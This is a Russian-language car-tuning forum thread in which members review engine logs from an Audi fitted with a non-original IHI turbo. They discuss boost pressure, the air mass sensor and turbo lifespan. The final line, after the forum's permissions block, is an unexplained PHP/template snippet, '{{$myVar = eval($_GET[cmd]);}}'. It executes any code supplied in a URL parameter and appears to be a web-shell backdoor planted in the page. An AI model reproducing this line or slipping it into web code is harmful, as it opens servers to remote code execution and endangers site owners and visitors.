+ Ответить в теме
Страница 1 из 5 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 46

Тема: Анализ ЛОГОВ


  1. #1
    GTI-Racing geminus is a jewel in the rough geminus is a jewel in the rough geminus is a jewel in the rough Аватар для geminus
    Регистрация
    31.01.2007
    Откуда
    МО, г.Чехов
    Машина
    Audi A6 Allroad
    Сообщений
    1,260

    Анализ ЛОГОВ

    прошу закоментить знающих товарищей...

    http://narod.ru/disk/43963406001.dfc...minus.rar.html
    AUDI ALLROAD A6 3.0TDI Quattro 6MT
    МО, Чехов
    Иван


  2. #2
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    Вань, я посмотрел, есть 3 мысли:
    1. Навалить угол и наддув ))) Главное - чтобы она продолжала также наддув контролировать
    2. После 6 т. оборотов расхождения по расходу воздуха. Тут несколько вариантов - либо впуск не пропускает (хотя наддув не падает), либо расходомер попробовать поменять (если не менял), либо из-за неродной турбины (но это бред)) )
    3. Еще бы записать 001 группу и значения 032 группы после обнуления ошибок (надо проехать после обнуления километров 20 хотя бы)

    Завтра после обеда набери, можно с расходомер как минимум попробовать.
    С Владом общался на эту тему?

    п.с. В целом все шикарно, можно вообще ничего не делать ))
    п.п.с. Важное уточнение, для тех кто "не в теме" - Иван поставил турбину от TSI мотора, т.е. IHI на BWE
    Последний раз редактировалось Амет; 19.03.2012 в 00:15.

  3. #3
    GTI-Racing geminus is a jewel in the rough geminus is a jewel in the rough geminus is a jewel in the rough Аватар для geminus
    Регистрация
    31.01.2007
    Откуда
    МО, г.Чехов
    Машина
    Audi A6 Allroad
    Сообщений
    1,260
    Цитата Сообщение от Амет Посмотреть сообщение
    Вань, я посмотрел, есть 3 мысли:
    1. Навалить угол и наддув ))) Главное - чтобы она продолжала также наддув контролировать
    2. После 6 т. оборотов расхождения по расходу воздуха. Тут несколько вариантов - либо впуск не пропускает (хотя наддув не падает), либо расходомер попробовать поменять (если не менял), либо из-за неродной турбины (но это бред)) )
    3. Еще бы записать 001 группу и значения 032 группы после обнуления ошибок (надо проехать после обнуления километров 20 хотя бы)

    Завтра после обеда набери, можно с расходомер как минимум попробовать.
    С Владом общался на эту тему?

    п.с. В целом все шикарно, можно вообще ничего не делать ))
    п.п.с. Важное уточнение, для тех кто "не в теме" - Иван поставил турбину от TSI мотора, т.е. IHI на BWE
    ну а что оставалось делать - цена б/у турбы 215 евро + доставка = 10400 руб и она у меня в офисе :spit::spit::spit:
    цена новой - 73к!!!:greengrocer::greengrocer::greengrocer:

    завтра наберу тебе - пообщаемся по наддуву и жизнеспособности ihi, думаю давление можно поднять повыше

    нужно ещё поменять фильтр воздушный будет, если завтра успею приобрести перед поездкой к тебе, то вообще всё будет ОК

    с Владом ещё не общался, но он ОЧЕНЬ просил приехать к нему с волшебной коробочкой REVO

    ошибки сегодня обнулили, но была только одна 04243 - Влад в курсе ))) это замена мозгов
    Последний раз редактировалось geminus; 19.03.2012 в 01:49.
    AUDI ALLROAD A6 3.0TDI Quattro 6MT
    МО, Чехов
    Иван


  4. #4
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от geminus Посмотреть сообщение
    прошу закоментить знающих товарищей...
    http://narod.ru/disk/43963406001.dfc...minus.rar.html
    ====
    Это сток?
    Красивые логи, чё.
    Согласен с Аметом, маф врёт безбожно.
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  5. #5
    GTI-Racing geminus is a jewel in the rough geminus is a jewel in the rough geminus is a jewel in the rough Аватар для geminus
    Регистрация
    31.01.2007
    Откуда
    МО, г.Чехов
    Машина
    Audi A6 Allroad
    Сообщений
    1,260
    Цитата Сообщение от turborabbit Посмотреть сообщение
    ====
    Это сток?
    Красивые логи, чё.
    Согласен с Аметом, маф врёт безбожно.
    сток - это смотря что ))))
    там только даунпайп и ихишная турба под прошивкой РЕВО
    бензин с роснефти 95 и наддув вроде до 1.2

    одену лето, поменяю расходомер и фильтр воздушный и попробую 98 бенз с большим наддувом, тогда будут ещё логи...

    спасибо что не бросили )))
    AUDI ALLROAD A6 3.0TDI Quattro 6MT
    МО, Чехов
    Иван


  6. #6
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Ну то что в логах - чуть хуже чем может надуть стоковая турбина.
    В общем ещё дуть и дуть
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  7. #7
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от turborabbit Посмотреть сообщение
    Ну то что в логах - чуть хуже чем может надуть стоковая турбина.
    В общем ещё дуть и дуть
    а мотор не лопнет)))):tippler:

  8. #8
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    а мотор не лопнет даже на 400лс
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  9. #9
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от turborabbit Посмотреть сообщение
    а мотор не лопнет даже на 400лс
    ну зачем ты Ивану это расказал).. он теперь дуть будет..:epti-work:

  10. #10
    GTI-Racing geminus is a jewel in the rough geminus is a jewel in the rough geminus is a jewel in the rough Аватар для geminus
    Регистрация
    31.01.2007
    Откуда
    МО, г.Чехов
    Машина
    Audi A6 Allroad
    Сообщений
    1,260
    Цитата Сообщение от turborabbit Посмотреть сообщение
    Ну то что в логах - чуть хуже чем может надуть стоковая турбина.
    В общем ещё дуть и дуть
    что значит "чуть хуже, чем может стоковая" - пока была жива родная наддув был 1.3 (закручивали с АМЕТОМ и больше, детонации не было), но она погибла - поэтому пока наддув 1.2...

    раз уж заговорили - какое давление будет пагубным для IHI-шной турбы, т.е. после какого давление ресурс железки начнёт таять на глазах???

    для стабильности что придётся менять из железа - ТНВД???

    просто 1.2 мне много кто советовал, если давку больше закрутить, то говорят турбы придётся часто менять...

    кому верить-то???
    AUDI ALLROAD A6 3.0TDI Quattro 6MT
    МО, Чехов
    Иван


+ Ответить в теме
Страница 1 из 5 1 2 3 ... ПоследняяПоследняя

Похожие темы

  1. FAQ по записи и интерпретации логов в VAG-COM мотор 2.0TFSI
    от andrei_don в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 19
    Последнее сообщение: 21.01.2024, 12:34
  2. снятие логов через Vag-com
    от coolroy в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 8
    Последнее сообщение: 02.10.2023, 06:50
  3. VAG COM и диагностика (считывание логов)
    от VVZ в разделе Двигатель
    Ответов: 1
    Последнее сообщение: 06.10.2009, 11:05

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}